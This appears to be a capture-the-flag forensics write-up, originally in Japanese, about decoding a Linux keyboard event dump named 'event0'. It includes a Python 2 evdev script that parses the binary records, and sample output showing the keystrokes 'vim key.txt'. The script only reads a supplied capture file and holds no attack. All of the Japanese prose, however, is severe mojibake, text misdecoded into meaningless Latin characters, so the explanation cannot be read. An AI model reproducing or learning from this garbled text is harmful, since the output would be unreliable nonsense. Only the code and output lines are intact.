ããã¯ãããããCTFã§ææ¡ãããæãç°¡åãªã¿ã¹ã¯ã§ãã æãé£ããã®ã¯ãã©ã®ãããªçš®é¡ã®ãã¡ã€ã«ããç解ããããšã§ããã è€é-Googleã®ã»ãšãã©ãã¹ãŠã®ãªã³ã¯ãã³ã³ãã¥ãŒã¿ãŒã²ãŒã ã€ãã³ã[0]ãæããŠããããã åæã«ãç§ã¯ã©ããªçš®é¡ã®ã²ãŒã ãèªã¿ãããã«ã¯ééããããšã決ããŸããã äžè¬ã«ãã€ãã³ã[0]ã«é¢ãããã®ãããªãã€ãºãããLinuxããã€ã¹ã«é¢ããæ å ±ãèŠã€ããå¿ èŠããããŸããã ç¹ã«ãLinux USBããŒããŒãã«ã€ããŠã ã€ãŸããevent0ãã¡ã€ã«ã¯ããŒãã¬ãŒã®çµæã§ãã ãããŠããã¹ãŠãã°ãŒã°ã«ã§æäœããã®ãéåžžã«ç°¡åã§ã ããã§ã¿ã¹ã¯ã®ããã®ã»ãŒå®æãããœãªã¥ãŒã·ã§ã³ãèŠã€ããããšãã§ããŸãã åæã«ãPython evdevã©ã€ãã©ãªã®ããã¥ã¡ã³ããéããŸãã äžèšã®ãªã³ã¯ããã¹ã¯ãªãããååŸããããã€ã¹ããã®èªã¿åãããã¡ã€ã«ããã®èªã¿åãã«çœ®ãæããŸããã ç§ã®æçµçãªã¹ã¯ãªããã¯æ¬¡ã®ããã«ãªããŸããã
é衚瀺ã®ããã¹ã
#!/usr/bin/python import pdb import struct import sys import evdev from evdev import InputDevice, list_devices, ecodes, categorize, InputEvent CODE_MAP_CHAR = { 'KEY_MINUS': "-", 'KEY_SPACE': " ", 'KEY_U': "U", 'KEY_W': "W", 'KEY_BACKSLASH': "\\", 'KEY_GRAVE': "`", 'KEY_NUMERIC_STAR': "*", 'KEY_NUMERIC_3': "3", 'KEY_NUMERIC_2': "2", 'KEY_NUMERIC_5': "5", 'KEY_NUMERIC_4': "4", 'KEY_NUMERIC_7': "7", 'KEY_NUMERIC_6': "6", 'KEY_NUMERIC_9': "9", 'KEY_NUMERIC_8': "8", 'KEY_NUMERIC_1': "1", 'KEY_NUMERIC_0': "0", 'KEY_E': "E", 'KEY_D': "D", 'KEY_G': "G", 'KEY_F': "F", 'KEY_A': "A", 'KEY_C': "C", 'KEY_B': "B", 'KEY_M': "M", 'KEY_L': "L", 'KEY_O': "O", 'KEY_N': "N", 'KEY_I': "I", 'KEY_H': "H", 'KEY_K': "K", 'KEY_J': "J", 'KEY_Q': "Q", 'KEY_P': "P", 'KEY_S': "S", 'KEY_X': "X", 'KEY_Z': "Z", 'KEY_KP4': "4", 'KEY_KP5': "5", 'KEY_KP6': "6", 'KEY_KP7': "7", 'KEY_KP0': "0", 'KEY_KP1': "1", 'KEY_KP2': "2", 'KEY_KP3': "3", 'KEY_KP8': "8", 'KEY_KP9': "9", 'KEY_5': "5", 'KEY_4': "4", 'KEY_7': "7", 'KEY_6': "6", 'KEY_1': "1", 'KEY_0': "0", 'KEY_3': "3", 'KEY_2': "2", 'KEY_9': "9", 'KEY_8': "8", 'KEY_LEFTBRACE': "[", 'KEY_RIGHTBRACE': "]", 'KEY_COMMA': ",", 'KEY_EQUAL': "=", 'KEY_SEMICOLON': ";", 'KEY_APOSTROPHE': "'", 'KEY_T': "T", 'KEY_V': "V", 'KEY_R': "R", 'KEY_Y': "Y", 'KEY_TAB': "\t", 'KEY_DOT': ".", 'KEY_SLASH': "/", } def parse_key_to_char(val): return CODE_MAP_CHAR[val] if val in CODE_MAP_CHAR else "" if __name__ == "__main__": # pdb.set_trace() f=open('/home/w4x/ctf/phd2018/event0',"rb") events=[] e=f.read(24) events.append(e) while e != "": e=f.read(24) events.append(e) for e in events: eBytes = a=struct.unpack("HHHHHHHHHHi",e) event = InputEvent(eBytes[6],eBytes[7],eBytes[8],eBytes[9],eBytes[10]) if event.type == ecodes.EV_KEY: print evdev.categorize(event)
ã¹ã¯ãªããåºåã®æåã®è¡ïŒ
key event at 0.000000, 28 (KEY_ENTER), up
key event at 0.000000, 47 (KEY_V), down
key event at 0.000000, 47 (KEY_V), up
key event at 0.000000, 23 (KEY_I), down
key event at 0.000000, 23 (KEY_I), up
key event at 0.000000, 50 (KEY_M), down
key event at 0.000000, 50 (KEY_M), up
key event at 0.000000, 57 (KEY_SPACE), down
key event at 0.000000, 57 (KEY_SPACE), up
key event at 0.000000, 37 (KEY_K), down
key event at 0.000000, 37 (KEY_K), up
key event at 0.000000, 18 (KEY_E), down
key event at 0.000000, 18 (KEY_E), up
key event at 0.000000, 21 (KEY_Y), down
key event at 0.000000, 21 (KEY_Y), up
key event at 0.000000, 52 (KEY_DOT), down
key event at 0.000000, 52 (KEY_DOT), up
key event at 0.000000, 20 (KEY_T), down
key event at 0.000000, 20 (KEY_T), up
key event at 0.000000, 45 (KEY_X), down
key event at 0.000000, 45 (KEY_X), up
key event at 0.000000, 20 (KEY_T), down
key event at 0.000000, 20 (KEY_T), up
down-upã¯ãããŠã³ããŒãæŒãããšã§ãã vim key.txtã³ãã³ããèµ·åãããŠããããšãããã«ããããŸãã Vimã¯äººæ°ã®ããããã¹ããšãã£ã¿ãŒã§ãããã¹ãç·šéãšã³ãã³ãã¢ãŒãã®2ã€ã®æäœã¢ãŒãããããŸãã ãããã£ãŠããã°å ã®ãã¹ãŠã®æåãå®éã®ããã¹ãã§ãã£ãããã§ã¯ãããŸããã 解決ããã«ã¯ããã¹ãŠåãããŒãã¯ãªãã¯ããŠãåºåã«ãã©ã°ãç«ãŠãã ãã§æžã¿ãŸããã